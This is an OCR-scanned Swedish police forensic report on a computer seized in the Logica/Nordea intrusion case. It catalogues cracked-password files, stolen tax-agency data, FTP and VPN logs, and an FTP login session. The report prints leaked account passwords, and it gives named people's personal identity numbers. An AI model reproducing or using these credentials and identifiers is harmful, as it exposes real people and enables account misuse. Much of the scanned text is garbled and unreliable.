S KAPAD 2012 - 03 - 23 17 : 17 : 14 
S E NAST ÄNDRAD 2012 - 03 - 23 17 : 18 : 45 

"cracked.txt" innehöll 64 1 22 unika användarnamn och lösenord. 

F I L NAMN l SÖKVÄG 

c ra c ked2 . txt l t001a \a\x\c pr\cra c ked 2 . txt 
S KAPAD 2012 - 0 3 - 3 1  00 : 24 : 04 
S ENAST ÄNDRAD 2012 - 03 - 31 00 : 24 : 04 
STOR L E K  229 � 5 KB 

Beräknad  t i d  ( - 124 : 12 : 00 )  med a n ledning a v  omst ä l l n i n g  av datorns  kloc ka : 

S KAPAD 2012 -03 - 25 20 : 12 : 04 
S E NAST ÄNDRAD 2012 - 03 - 25 20 : 12 : 04 

"cracked2. txt" innehöll 1 4  5 1 7  unika an vändarnamn och lösenord. 

UTC 
UTC 

UTC 
UTC 

UTC 
UTC 
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F I LNAMN SÖKVÄG 

c ra c ked3 . txt j t00la \a \x\c pr\ cra cked 3 . txt 
S KAPAD 201 2 - 04 - 01 17 : 25 : 48 UTC 
S E NAST ÄNDRAD 2012 - 04 - 01 1 5 : 25 : 49 UTC 
STOR L E K  KB 

"cracked3 .txt" innehöll 86 1 1 3 unika användarnaron och lösenord. 

F I LNAMN j SÖKVÄG 

c ra c ked4 . out l t001a\a\x\c pr\crac ked4 . out 
S KAPAD 2012 - 04 - 01 1 5 : 26 : 42 UTC 
S E NAST ÄNDRAD 2012 - 04 - 01 1 5 : 28 : 0 5 UTC 
STOR L E K  l 578 KB 

"cracked4.out" innehöll 102 526 unika användarnaron och lösenord. 

Bland de kontouppgifter som fanns i filerna förekom flera av de konton som 
använts vid intrånget och som omnämns i Logicas rapport: 

NUS : P EPPAR 
AS I0936 : VINT E R  
AVIY356 : 018225 
AVIY3 5 7 : 018250 
AVIY991 : 105704 
DAF1682 : J ENS 2000 
DAF 5648 : L ISA20 
SPRBI01 : VINT E R  
WAHS006 : MAMMA12 

Utdrag 44 Exempel på kontouppgifter 

infotorgusers.xls 

I den krypterade containern återfanns tre Excel-dokument innehållande 
användaridentitet, namn och behörigheter på över 3 000 personer. En stor del av 
dessa var anställda inom polisen. Ett av dessa dokument var: 

F I L NAMN SÖKVÄG 

infotorgu s e rs . xl s  l t00la\a\x\c pr\infotorgu sers . xl s  
S KAPAD 2012 - 03 - 14 16 : 49 : 39 
S E NAST ÄNDRAD 2012 - 0 3 - 09 11 : 36 : 40 
STOR L E K  229 � 5 KB 
MDS 195 3402 F FC E F 5 E E7D4C23C329 F 1 E E F 2 3  

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  a v  omst ä l l n i n g  a v  datorns  klocka : 

SKAPAD 2012 - 0 3 - 09 12 : 37 : 39 
S E NAST ÄNDRAD 

UTC 
UTC 

Filen var, enligt MD5-hash, identisk med "infotorgusers .xls" som återfanns hos 
Mathias Gustafsson i beslag 20 1 2-020 1 -BG l 022 1 - 1 3 .  De övriga två filerna, 
"infotorgusers .xlsm" och "infotorgusers2 .xls" hade ungefär samma innehåll och 
var skapade samma dag. Nedan visas ett utdrag ur filen "infotorgusers .xls" där 
efternamn har dolts . 

RPKU37C xxxxx Ma rti n  

l RPKU37D l xxxxxxx Ulla  

RPS BOLAG RPSBOL  PPA R P SMU L TI SPAR BASUNP 

l RPS l BOLAG l RPSBOL l PPA l RPSMUL TI l BASUNP l BEVAKA 
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l RPKU37F : XXXXXXXXX Stefan : RPS l BOLAG l RPSBOL l PPA : RPSMU L TI : BASUNP : BEVAKA 

Tabell 26 Exempel ur "infotorgusers .xls" 

Tittar man på egenskaperna för "infotorgusers .xls" syns följande information: 

13 Microsoft Offece Metadata 
Code page 

Last saved by 

Revision number 

Total editing time 

Last pri nted 

Create time 

Last saved time os version : 

Appl ication USID: 

Bild 27 

65 001 
uodd ream 

4 

8 t>ours 53 mtnutes 26 seeonds 

n/a 

'1 a 

2 0 1 2-0 3-09 06:58:29 ( 2 0 1 2-03-09 05: 58: 29 U TC) 

:.1ac1ntos� :oooooooo-oooo-oooo-oooo-oooooooooooo} 

A v metadatan framgår att dokumentet senast sparades av "luciddream" den 9 
mars 20 1 2  klockan 5 .58  (UTC) .  

Data från Logica 

Sammanställning av uppgifter från Skatteverket 

I den krypterade containern återfanns två filer kallade "out" och "out2.txt" 

F I L NAMN SÖKVÄG 

out J t001a\a\x\c pr\out 
S KAPAD 2012 - 03 - 28 23 : 5 3 : 34 
S E NAST ÄNDRAD 2012 - 03 - 28 23 : 5 3 : 44 
STOR L E K  52  686 B ( 5 1 , 63  KB ) 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  av omst ä l l n i n g  av datorns  klocka : 

SKAPAD 2012 -03 - 23 19 : 41 : 34 
S E NAST ÄNDRAD 2012 - 03 - 23 19 : 41 : 44 

UTC 
UTC 

Filen "out" innehöll uppgifter ur dataset kopplade till personnummer 84 10 17-
0537 (Gottfrid Svartholm W arg) . Samtliga dataset börjar med prefixet D0447 • 
Enligt Elisabeth Gummesson på Logica är det sannolikt en egen gjord 
sammanställning av uppgifter på detta personnummer hämtat från flera olika 
dataset Nedan visas ett utdrag ur filen "out" . Hela filen återfinns i bilaga 20 1 2-
020 1 -BG25023-26. 1 5 .  

' D044 . 0714PROD . G E LDAR . G0016V00 ' : 01c74212 8410170537KJ 00000000 
' D044 . 090WPROD . GE LD . G1 545V00 ' : 13d8d6ee 84101705 37 ; 0104 - 23 ; 20080504; SVARTHOLM 
WARG, PER GOTTF R I D  ; FOLKBOKF@RINGSADRESS  SAKNAS 
; ; ; ; 0 ; 20100204; ; ; 81 ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 1 ; ; ; ;  
' D044 . 090WPROD . GE LD . G1 546V00 ' : 13d8ee4a 8410170537 ; 0104 - 2 3 ; 20080504; SVARTHOLM 
WARG, PER GOTTF R I D  ; FOLKBOKF@RINGSADRESS  SAKNAS 
; ; ; ; 0 ; 20100204; ; ; 01 ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 1 ; ; ; ;  

7 D044 är det prefix Logica använder för dataset tillhörande Skatteverket. 
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' D044 . 090WPROD . GE LD . G1547V00 ' : 13d8ee4a 8410170537 ; 0104 - 2 3 ; 20080504; 5VARTHOLM 
WARG , P E R  GOTTFRID  ; FOLKBOKF@RING5ADRESS SAKNAS 
; ; ; ; 0 ; 20180284; ; ; 91 ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 1 ; ; ; ;  
' D044 . 091WPROD . GRBS ' : 032df324 8410170537 ; 1 ; 0010 -01 ; 20100209 ; APR ; ; 20100209 ; ; ; ; ;  
' D044 . 091WPROD . GRDS ' : 099270e6 8410170537 ; 1 ; 0010 -
20 ; 20091208 ; @F LORG ; ; 20091208 ; ; ; ; ; ; ; 0101 - 25 ; ; 0103 - 1 5 ; ;  
' D044 . 091WPROD . GRDS ' : 0992714a 8410170537 ; 2 ; 0010 -
20 ; 20111210 ; @F LORG ; ; 20111210 ; ; ; ; ; ; ; 0103 - 15 ; ; 0104 - 2 3 ; ;  
' D044 . 092WPROD . GTAS F . G0755V00 ' : 04d 5dc78 8410170537 ; 2 ; 1 ; BOX 1206 ; 11479 ; 
' D044 . 092WPROD . GTAS . G1545V00 ' : 04d 5c84a 84101705 37 ; 2 ; 1 ; BOX 1206 ; 11479 ; 
' D044 . 092WPROD . GTAS . G1546V00 ' : 04d 5d5d3  8410170537 ; 2 ; 1 ; BOX 1206 ; 11479 ; 
' D044 . 092WPROD . GTAS . G1 547V00 ' : 04d 5dc78 8410170537 ; 2 ; 1 ; BOX 1206 ; 11479 ; 
' D044 . 09 3WPROD . SKTSY ' : 043abed1 8410170537 ; 6 ; 2 ; 1 ; 2 ; M$ LNR 813 301 - 06 ; 
' D044 . 093WPROD . SKUSY ' : 2aad8cca  

Utdrag 4 5  Utdrag u r  "out" 

Samtliga datasetsnamn i filen "out" återfinns i Logicas ftp-logg 
"TCP _FTP _SERVER". Enligt loggen hämtades samtliga dataset till lP-adressen 
93 . 1 86. 1 70.54 den 20 mars 20 1 2. 

DATE 
TIME 
201 2 - 03 - 20 
11 : S3 : 3e 
201 2 - 03 - 20 
11 : S7 : 1S 
201 2 - 03 - 20 
1 2 : 00 : 28 
201 2 - 03 - 20 
12 : 03 : 43 
201 2 - 03 - 20 
1 2 : 04 : 26 
201 2 - 0 3 - 20 
1 2 : 06 : 11 
201 2 - 0 3 - 20 
12 : 08 : 03 
201 2 - 03 - 20 
12 : 08 : 49 
201 2 - 03 - 20 
12 : 09 : 40 
201 2 - 03 - 20 
1 2 : 10 : 34 
201 2 - 03 - 20 
1 2 : 23 : 19 
201 2 - 03 - 20 
12 : 44 : 38 
201 2 - 03 - 20 
13 : 08 : 09 
201 2 - 03 - 20 
1 3 : 13 : 16 
2012 - 0 3 - 20 
13 : 41 : 16 
201 2 - 03 - 20 
13 : 41 : 47 
201 2 - 03 - 20 
1 3 : 43 : 01 
201 2 - 03 - 20 
13 : 46 : 31 
2012 - 0 3 - 20 
13 : 46 : 38 
2012 - 0 3 - 20 
13 : 46 : 41 

FTP LOCAL BYTE 
COMMAND USERID  COUNT 

RETR 

RETR 

RETR 

RETR 

RETR 

l RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

RETR 

l RETR 

NUS 

l NUS 

NUS 

l NUS 

NUS 

NUS 

NUS 

l NUS 

NUS 

NUS 

NUS 

NUS 

NUS 

l NUS 

NUS 

NUS 
j 

NUS 

NUS 

NUS 

J NUS 

37264200 

3S7914000 

3S792Seea 

3S792S000 

61832100 

17387S000 

86701300 

8670S600 

86707S00 

86707S00 
j 

77113200 

743001000 

743079000 

l 126097000 

1069690000 

l 1 S S 21600 

42040400 

126064000 

6160390 

3 372430 

Tabell 27 Utdrag ur "TCP _FrP _SERVER" 

F U L L  
R E M  I P  ADDR 

DS_NAME 

9 3 . 186 . 170 . S4 
D044 . 0714PROD . G E LDAR . G0 
016V00 

9 3 . 186 . 170 . S4 
D044 . 090WPROD . GE L D . G1S4 
svea 

9 3 . 186 . 170 . S4 
D044 . 090WPROD . GE L D . G1S4 
6Ve0 

9 3 . 186 . 170 . S4 
D044 . 090WPROD . GE L D . G1S4 
7V00 

9 3 . 186 . 170 . S4 D044 . 091WPROD . GRBS 

9 3 . 186 . 170 . S4 D044 . 09 1WPROD . GRDS 

9 3 . 186 . 170 . S4 
D044 . 092WPROD . GTAS . G1S4 
sv a a 

9 3 . 186 . 170 . S4 l ��:: · 092WPROD . GTAS . G154 

9 3 . 186 . 170 . S4 
D044 . 092WPROD . GTAS . G154 
7V00 

9 3 . 186 . 170 . S4 
D044 . 092WPROD . GTAS F . G07 
S SV00 

9 3 . 186 . 170 . S4 D044 . 093WPROD . SKTSY 

9 3 . 186 . 170 . S4 D044 . 093WPROD . SKUSY 

9 3 . 186 . 170 . S4 D044 . 093WPROD . SR1SY 

9 3 . 186 . 170 . S4 1 D044 . 094WPROD . EMLSX 

9 3 . 186 . 170 . S4 D044 . 094WPROD . E R1SX 

9 3 . 186 . 170 . S4 D044 . 094WPROD . E R2SX 

9 3 . 186 . 170 . S4 D044 . 094WPROD . ET1SX 

9 3 . 186 . 170 . S4 D044 . 094WPROD . ET3SX 

9 3 . 186 . 170 . S4 D044 . 094WPROD . ETSS 

l 
9 3 . 186 . 170 . S4 D044 . 094WPROD . ET5SX 

I filen "out2.txt" finns en liknande sammanställning av uppgifter för 
personnummer 780427-2636 (Fredrik Neij ) .  Innehållet i filen redovisas i bilaga 
20 1 2-020 1 -BG25023-26. 1 6 . 
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Skyddade personnummer 

I den undersökta datorn, i den krypterade containern (t00 1 a) ,  återfanns två filer 
innehållande listor med personnummer. Dessa två filer var "snyggskydd.txt" 
och "out. txt" . 

F I LNAMN l SÖKVÄG 

s nyggs kydd . txt l t001a\a\  x\cpr\snyggs kydd . txt 
S KAPAD 2012 - 03 - 26 11 : 13 : 34 
S E NAST ÄNDRAD 2012 - 03 - 26 11 : 14 : 5 2 
STORL E K  118 849 B ( 116 , 1 K B )  
MDS 3 E4DF 5 549F94E9AD0C83002DDDE27B0E 

Beräknad  t i d  ( - 124 : 12 : 00 )  med anledning  av omst ällning  a v  datorns  klocka : 

S KAPAD 2012 - 03 - 21 07 : 01 : 34 
S E NAST ÄNDRAD 2012 - 03 - 21 07 : 02 : 5 2 

"snyggskydd.txt" innehöll 9 084 personnummer. 

F I L NAMN SÖKVÄG 

out . txt l t001a \ a \  x\ c pr\  out . txt 
S KAPAD 2012 - 03 - 29 20 : 56 : 2 3 
S E NAST ÄNDRAD 2012 - 03 - 29 20 : 56 : 2 5 
STORL E K  118 849 B ( 116 , 1 K B )  
MDS 2CB3A104BDF9200EA4E48AAD72039D47 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning av omställning  av datorns  klocka : 

S KAPAD 2012 - 03 - 24 16 : 44 : 23 
S E NAST ÄNDRAD 2012 - 03 - 24 16 : 44 : 2 5 

UTC 
UTC 

UTC 
UTC 

"out.txt" innehöll 9 090 personnummer. Skillnaden mellan filerna var att 
"snyggskydd.txt" saknade de sex senaste personnumren jämfört med "out.txt" . 
De personnummer som återfanns i "out.txt" är identiska med de personnummer 
som publicerades på webbsidan "pastebin.com/K5q2N270" den 29 mars 20 1 2  
klockan 8 :46 :47 (UTC) . (Se svar p å  rättshjälpsbegäran - dokumentet 
"PASTEBIN SUBPOENA RESPONSE") . 

I dokumentet "Intyg - Verifiering av filinnehåll" skriver Anders Kylesten på 
skatteverket att filen som återfanns på Pastebin innehöll 9 090 svenska 
personnummer. 

A v de 9 090 personnummer som fanns i filen "out.txt" var 8 230 identiska med 
personnummer som fanns i datasetet "E897 .SPAR.SKYDD" som gick ut via 
FTP från Logica de 15 och 1 6 mars 20 1 2. Innehållet i filerna redovisas inte. 

Dataset 

I den krypterade containern (t00 1 a) återfanns en fil kallad "D6668 .DIRTHERT 
.READ READ": 

8 Prefixet D666 används av Logica för "Backupper drift" 
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F I L NAMN SÖKVÄG 

D666 . DI RTHE RT . t001a\a\  vmSha red_lin ux_a\ 
READREAD D666 . DIRTHE RT . READREAD 
S KAPAD 2012 - 03 - 10 16 : 58 : 34 
S E NAST ÄNDRAD 2012 - 03 - 10 16 : 58 : 3 5 
STOR L E K  47 034 B (45 J 93 KB ) 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n l ed n ing av omställning  av datorns klocka : 
SKAPAD 2012 - 03 - 05 12 : 46 : 34 
S E NAST ÄNDRAD 2012 - 03 - 05 12 : 46 : 3 5 

020 1 -K8 1 864- 1 2  

UTC 
UTC 

Ett dataset med samma namn hämtades enligt loggen "TCP _FTP _SERVER" 
den 4 mars 20 1 2  från Logica till lP-adressen 178 . 1 74. 1 80. 1 44.  

DATE 
TIME 

FTP LOCAL BYTE F U L L  
R E M  I P  ADDR 

DS_NAME 

201 2 - 0 3 - 04 
09 : 30 : 58 178 . 174 . 180 . 144 D666 . DIRTH E RT . R EADR EAD 

Tabell 28 Utdrag ur "TCP _FrP _SERVER" 

lP-adressen spårades till Linnea Wikström i Ludvika. lP-adressen förekommer i 
undersökningsprotokoll angående beslag 20 1 2-020 1 -B G 1022 1 .  

I den krypterade container (t00 1 a) återfanns också en fil kallad " 
'd345 .opc.applj .g6755v00"' :  

F I L NAMN SÖKVÄG 

' d 345 . opc . a ppl  t001a \a\x\c pr\ ' d 345 . opc . applj . g675 5v00 ' j . g675 5v00 ' 
S KAPAD 2012 - 03 - 28 14 : 30 : 32 
S E NAST ÄNDRAD 2012 - 03 - 28 14 : 34 : 57 
STOR L E K  4 788 817 bytes  (4  676  KB ) 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  av omst ällning  av datorns klocka : 

SKAPAD 2012 -03 - 23 10 : 18 : 32 
S E NAST ÄNDRAD 2012 - 03 - 23 10 : 22 : 57 

UTC 
UTC 

Ett dataset med samma namn hämtades enligt loggen "TCP _FTP _SERVER" 
den 23 mars 20 1 2  från Logica till lP-adressen 202. 1 20. 1 89.223 . 

DATE 
TIME 
2012 - 0 3 - 2 3  
05 : 08 : 29 

Tabell 29 Utdrag ur "TCP _FrP _SERVER" 

Övrigt om filer och kataloger 

z!OS 

F U L L  
R E M  I P  ADDR 

DS_NAME 

202 . 120 . 189 . 223 D345 . 0PC . AP P L J . G675 5V00 

På den undersökta datorn fanns fler än 30 dokument, i olika kataloger, som 
handlade om z/OS.  Nedan visas exempel på några av dessa dokument: 

P a rt it ian 3 \ a pt\e0z2bl c0 . pdf 
"z /05 - P l a n n i ng for I n s t a l lat ion" 

P a rt i t i a n  3 \ a pt\eo z 2 n l d 0 . pdf 
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"z/OS : a s m a r t e r  o p e r a t i n g  system fo r a sma rt e r  p l a net" 
P a rtit ion 3 \ a pt \ h a s 2 c 320 . pdf 

"z /OS - J E S  Ap p l i c ation  P rogramm i n g" 
P a rtit ion 3 \ a p t \ red p419 3 . pdf 

"z/OS UNIX Sec u rity F u n d ament a l s" 
P a rtit ion 3 \ a p t \ sg246984 . pdf 

"ABC s  of z/OS System P rogrammi ng Vol ume 4" 
Partition  3 \ a p t \U_zOS_STIG_Ad d e n d u m_V6 R 1 2 . doc 

"z/OS - S E C U R I TY T ECHNICAL IMP L E M E NTATION GUIDE" 
Pa rt it ion 3 \ U s e r s \ a \ Down l o a d s \fot z a 501 . pdf 

"z/OS - IBM Ported Too l s  fo r z /OS : OpenSSH V1 . 2 . 0  U s e r ' s  G u i d e" 
Partition  3 \ U s e r s \ a \Down load s \ red p4630 . pdf 

020 l -K8 1 864- 1 2  

"DB2  9 for z/OS : Configu ring  S S L  for S e c u r e  C l i ent - Server  Commu n i c at i o n s "  
P a rtit ion 3 \ U s e r s \ a \Down loa d s \ R e s p o n s eTimeMgmt . p pt 

"TCP/ I P  Respon s e  T ime Mo nitoring on z / OS" 

C hat 

I den krypterade containern (t00 1 a) återfanns en katalog kallad "miRC" och i 
denna programfilen "mirc .exe" 

F I LNAMN l SÖKVÄG 

mirc . exe l tee1a \Client s ide\miRC \mi rc . exe 
S KAPAD 1 2e1e - 1 1 - 16 e6 : 1e : 41 l 
S E NAST ÄNDRAD l 2e1e - 1 1 - es 17 : 16 : 22 l 

Enligt information utläst ur "mirc .exe" var programvaruversionen 7 . 1 5  . 

Egenskaper för mirc.exe 

_.___._Digitala � 
Information 

Alltnärt 
Hashvärden Säkerhet 

Egenskap Värde 

Beskrivning 
roibeskrivning miRC 
Typ Program 
Filversion 7. 1 5.0.0 
Produktnamn miRC 
Prod�� 7 1 5 
Copyright 
storlek 
Senast ändrad 
Språk 

Copyright ® 1995-2010 miRC Co. Ud . 
3.08 MB 
2010-1 Hl8 1 8: 1 6 
Engelska (USA) 

Varumärken miRC® is a Regisiered Tradematk of ... 
l.hprung&gt filnamn mirc .exe 

Bild 28 Information ur filen "mirc.exe" 

.. 

UTC 
UTC 

I katalogen "t00 1 a\Clientside\miRC\logs" återfanns över 1 82 filer, varav en del 
raderade, som i varierande grad innehöll anslutningar och chatt från 
programmet. 

''polis . log" 

Jesper Blomström på säkerhetspolisen hänvisar i sin PM, "Säkerhetspolisens 
analys avseende stulen information vid dataintrången mot Logica och 
Applicate", till två filer funna på den krypterades container (t00 1 a) .  Den ena av 
dessa filer är "polis .log" . 
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F I LNAMN SÖKVÄG 

pol i s  . log l t00la \a\x\c pr\poli s  . log 
S KAPAD 2012 - 03 - 28 05 : 45 : 3 5 
S E NAST ÄNDRAD 2012 - 03 - 29 11 : 21 : 56 
STOR L E K  l 799 020 B ( l  756  KB ) 

Beräknad tid  ( - 124 : 12 : 00 )  med anledning  av omst ällning  av datorns  klocka : 

S E NAST ÄNDRAD 2012 - 03 - 24 07 : 09 : 56 

Nedan visas de översta raderna i filen "polis .log" som är en form av 
terminallogg. Där syns tidpunkten för anslutningen till lnfotorg. 

InfoTorg 
RPIT146 
Kommando == > 

PPA 2012 - 6 3 - 2 3  
Namn s kn i n g  t r{fflista 01 . 33 . 15 

( M=Meny P=P n r  A=Ad re s s )  

Utdrag 46 Utdrag ur "polis .log" 

Den andra filen är "u3 .txt" 

F I LNAMN j SÖKVÄG 

u 3 . txt l t00la\a\  vmSha red linux  a \ u 3 . txt 
S KAPAD 2012 - 03 - 15 09 : 20 : 19 
S E NAST ÄNDRAD 2012 - 03 - 15 09 : 23 : 1 3 
STOR L E K  l 739 B (l 739 B )  

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  av omställning  av datorns  klocka : 

S KAPAD 2012 - 03 - 10 05 : 08 : 19 
S E NAST ÄNDRAD 2012 - 03 - 10 05 : 11 : 1 3 

020 1 -K8 1 864- 1 2  

UTC 
UTC 

UTC 
UTC 

Filerna "polis .log" och "u3" återfinns i bilagorna 20 1 2-020 1 -BG25023-26. 1 8  
och 20 1 2-020 1 - BG25023-26 . 1 9 .  

My see 
I den krypterade containern återfanns fyra kataloger med namnet "Mysec" . 
Sammanlagt innehöll dessa över l 1 00 filer. De flesta av dessa filer var skapade 
under tiden januari till augusti 20 12 .  Bland dessa återfanns bland annat loggfiler 
över inkomna larm och programfiler. Bland dessa filer fanns också ett dokument 
kallat "mysec.xls", en faktura från företaget "Arocore" i Kambodja  till "Mysec 
Sweden" på 700 $ daterad den 4 maj 20 10 .  

F I LNAMN l SÖKVÄG 

mysec . xl s  l t00la\a \myse c \mysec . xls  
S KAPAD 2001 - 01 - 03 00 : 26 : 29 UTC 
S E NAST ÄNDRAD 2001 - 01 - 03 00 : 26 : 3 1 UTC 
STOR L E K  48 640 B (47 , 50 KB ) 

Dokumentet återfinns i bilaga 20 1 2-020 1 -BG25023-26.20. 

I en av "Mysec" -katalogerna återfanns två filer innehållande namnet "flatline" . 

405 

58  



U ndersökn ingsprotokol l  beslag 201 2-020 1 -BG25023 Log ica ,  201 3-03-28 07:38 d iar ienr: 020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

F I LNAMN l SÖKVÄG 

flatline . i n . conf l t001a\a \myse c \flatline . i n . conf 
S KAPAD 201 1 - 09 - 30 06 : 52 : 2 5 UTC 
S E NAST ÄNDRAD 2011 -09 - 28 16 : 36 : 58 UTC 
STOR L E K  215 B 
MD5 A3 F E E E 5B77E6310A810A56723A61DC7F 

F I LNAMN SÖKVÄG 

flatline . key l t001a\a\mysec \flatline . key 
S KAPAD 201 1 - 09 - 30 06 : 52 : 28 UTC 
S E NAST ÄNDRAD 2011 - 09 - 28 16 : 36 : 58 UTC 
STOR L E K  636 B 
MD5 45C F2C98518188852C F898A4AAD2F18B 

Filer med identiskt innehåll och namn som i de  båda filerna ovan återfanns på 
företaget Mysecs servrar. Per-Olov Wallgren på Mysec kände inte till dessa filer 
som fanns på företagets servrar (se PM angående uppgifter från Mysec) .  Under 
utredningen har filernas innebörd inte närmare utretts men "flatline.in.conf' ser 
ut att innehålla konfigurationen för en VPN-anslutning. "flatline.key" är troligen 
en VPN-nyckel för en VPN-anslutning via programmet OpenVPN. Båda filerna 
finns i bilaga 20 1 2-020 1 -BG25023-26.2 1 .  

Från Mysec erhölls en fil kallad "flatline.log" som återfanns i en katalog kallad 
"openvpn" . Filen innehöll bland annat vad som ser ut att vara anslutningar 
gjorda vid olika tillfällen från olika lP-adresser. Sammanlagt var de 96 
anslutningar under 20 1 2  från 49 unika lP-adresser som återfanns i loggfilen. 
Samtliga lP-adresser var hemmahörande i Kambodja. 38 av dessa tillhörde 
Cogetel, 9 DTV-stamet, l Ezecomnet och l Neocomisp. 

Fyra av lP-adresserna återfanns bland de lP-adresser som kan sättas i samband 
med intrånget mot Logica och Nordea. Nedan syns utvalda exempel där dessa 
fyra lP-adresser återfanns i "flatline.log". "flatline.log" finns i bilaga 20 12-
020 1 -BG25023-26.22. 

Line  67419 : Sun  Mar 4 06 : 58 : 58 2012 Peer Connection I n itiated with 
124 . 248 . 187 . 22 : 5863 

Line 213425 : Wed Apr 25  14 : 54 : 14 2012 Peer Connect ion I n it iated with 
124 . 248 . 187 . 86 : 46885 

Line 213427 : F ri Apr 27 18 : 34 : 13 2012 Peer Connection I n it i ated with 
124 . 248 . 187 . 18 : 38187 

Line 213170 : Sat Ap r 7 04 : 44 : 58 2012 Peer Connection I n it i ated with 
124 . 248 . 187 . 19 : 36287 

Utdrag 47 Urklipp ur  "flatline.log" från företaget Mysec 

En sammanställning av anslutningar funna i filen "flatline.log" finns i bilaga 
20 1 2-020 1 -BG25023-26.23 

Intrånget 2011  

I den krypterade containern återfanns en  loggfil, "screenlog.O" som kan sättas i 
samband med intrånget mot Logi ca 20 1 1 . 
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F I L NAMN SÖKVÄG 

s c reen log . 8  l t881a\a\  vmSha red l inux a\x\sc reen log . 8  
S KAPAD 2811 - 83 - 28 81 : 58 : 31 UTC 
S E NAST ÄNDRAD 2811 - 83 - 28 82 : 26 : 58 UTC 
STOR L E K  1 5  723  658 B ( 1 5 J 88 MB ) 

I filen syns bland annat en anslutning mot servem "semainf.infodata. sema.se" 
den 20 mars 20 1 1 .  Det framgår också att det är kontot "GTINYTE" som 
används, se bild nedan. Filen "screenlog.O" finns i bilaga 20 1 2-020 1 -BG25023-
26.24. 

ft p ftp . infodata . se 
Connected to ftp . infodata . se .  
220- FTPD1 IBM FTP C S  V1R10 at semainf . infodata . sema . se ,  03 : 59 : 5 3 on 2011 -03 - 20 .  
220 Connection will  c lose  i f  idle for more t h a n  10 minutes . 
Name ( ft p . infodata . se : taviso ) : GTINYET [ ba c k s p a c e ] [ ba c k s p a c e ] T E  
331  S e n d  pas sword plea s e . 
Pas sword : 
230 GTINYTE i s  logged on . Working d i rectory i s  " GTINYTE . " .  
Remote system type i s  MVS . 

Utdrag 48 Utdrag ur "screen] og. O" 

I samma katalog återfanns även filen "ftp.txt" . 

F I LNAMN j SÖKVÄG 

ftp . txt l t881a\a\  vmSha red linux  a \x\ftp . txt 
S KAPAD 2811 - 83 - 28 84 : 15 : 48 
S E NAST ÄNDRAD 2811 - 83 - 28 84 : 1 5 : 58 
STORL E K  17 B 

Innehållet filen var: 

l GTINYTE l somma r 

Utdrag 49 Innehåll i filen "ftp.txt" 

UTC 
UTC 

Enligt uppgifter från Logica var kontot "GTINYTE" ett av de användarkonton 
som utnyttjades vid intrånget 20 1 1  (se loggar från Logicas FTP-server 20 1 1 ) .  

Analys och slutsats 

Mac-partitionen 

På Mac-partionen på den undersökta datorn återfanns ingenting som kunde 
relateras till intrånget hos Logica eller Nordea. Inte heller återfanns någonting 
relaterat till Mathias Gustafsson. 

Windows-partitionen 

På den undersökta datorn återfanns ingenting som tyder på att någon via 
Windows fjärrskrivbord anslutit till och styrt datorn från en annan dator. Spår 
efter programmet PowerShell Server återfanns i en gammal installation av 
Windows men inte i den nuvarande som installerades den 1 1  juli 20 1 1 .  Inte 
heller återfanns några loggfiler eller andra spår på att någon fjärrstyrt den 
undersökta datorn. 
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En stor del av de filer som anträffades p å  den undersökta datorn och som 
bedömdes relevanta för utredningen återfanns i en krypterad container. A v 
tidsstämplama i den krypterade containern och av genvägar (länkfiler) som 
återfunnits på datorn framgår att containern funnits och använts på datorn från 
år 20 10  i både den nuvarande och en tidigare installation av Windows . 

Att döma av flera loggfiler, programfiler som laddats upp till Logica och filer 
som kommer från Logica är det högst sannolikt att den undersökta datorn 
använts för att genomföra flera av intrången mot Logica. Flera av filerna som 
laddats upp till Logica ser, enligt tidsstämplama, ut att var skapade på den 
undersökta datorn i anslutning till att de laddas upp till Logica. Detta gäller t.ex. 
filerna "be" och "bes". I de flesta fall har själva intrånget skett via andra datorer, 
från flera olika lP-adresser, styrda från den i beslaget undersökta datorn (se 
exempel i bilderna nedan). 

1 78.18.243.27 

På datorn "Flechette" fanns filer som till namn överensstämmer med filer som 
hittats på Logicas system. Där återfanns också fyra loggfiler som återspeglar 
filöverföringar och annan aktivitet på Logicas system. 

Bild 29 lP-adressen 1 7 8 . 1 8 .243 .27 

93.186.170.54 

På den undersökta datorn "Metaverse" återfanns 278 dataset som laddats ner till 
lP-adressen. På datorn "Flechette" återfanns filen "be" vars innehåll var 
identiskt med filer funna på Logicas system. En fil med namnet "be" har också 
laddats upp till Logica från lP-adressen. På datorn återfanns också filerna "out" 
och "out2.txt" vars innehåll var en sammanställning av data från dataset som 
laddats ner till lP-adressen. Det fanns också loggfiler som visar åtgärder 
vidtagna på Logicas system, t.ex. skapandet av filerna "duku" och "duqu". 
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Bild 30 lP-adressen 93 . 1 86 . 1 70.54 

202.120.189.223 

På datorn "Flechette" återfanns l 989 konverterade dataset som laddats ner till 
lP-adressen. 

fr Mil-
P h  nom Pen h, Kambodja 

Bild 3 1  lP-adressen 202. 1 20. 1 89 .223 

203.1 76.141.205 

På datorn Flechette återfanns bl.a. filen "prim.gz" , som innehöll Logicas RACF
databas, som laddats ner till lP-adressen. På datorn återfanns också två filer, 
"bes" och "dps", vilka till namn överensstämmer med filer som laddats upp till 
Logica från lP-adressen. 

409 

62 



Undersökn ingsprotokol l beslag 20 1 2-020 1 -8825023 Log ica ,  201 3-03-28 07 :38 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2 

Bild 32 lP-adressen 203 . 1 76 . 1 4 1 . 205 

På den undersökta datorn "Flechette" hittades också en SSH-nyckel som tillhör 
en av Logicas anställda samt en SSH-nyckel som lagts till på Logicas system. 

Olle Wahlström, kriminalinspektör 
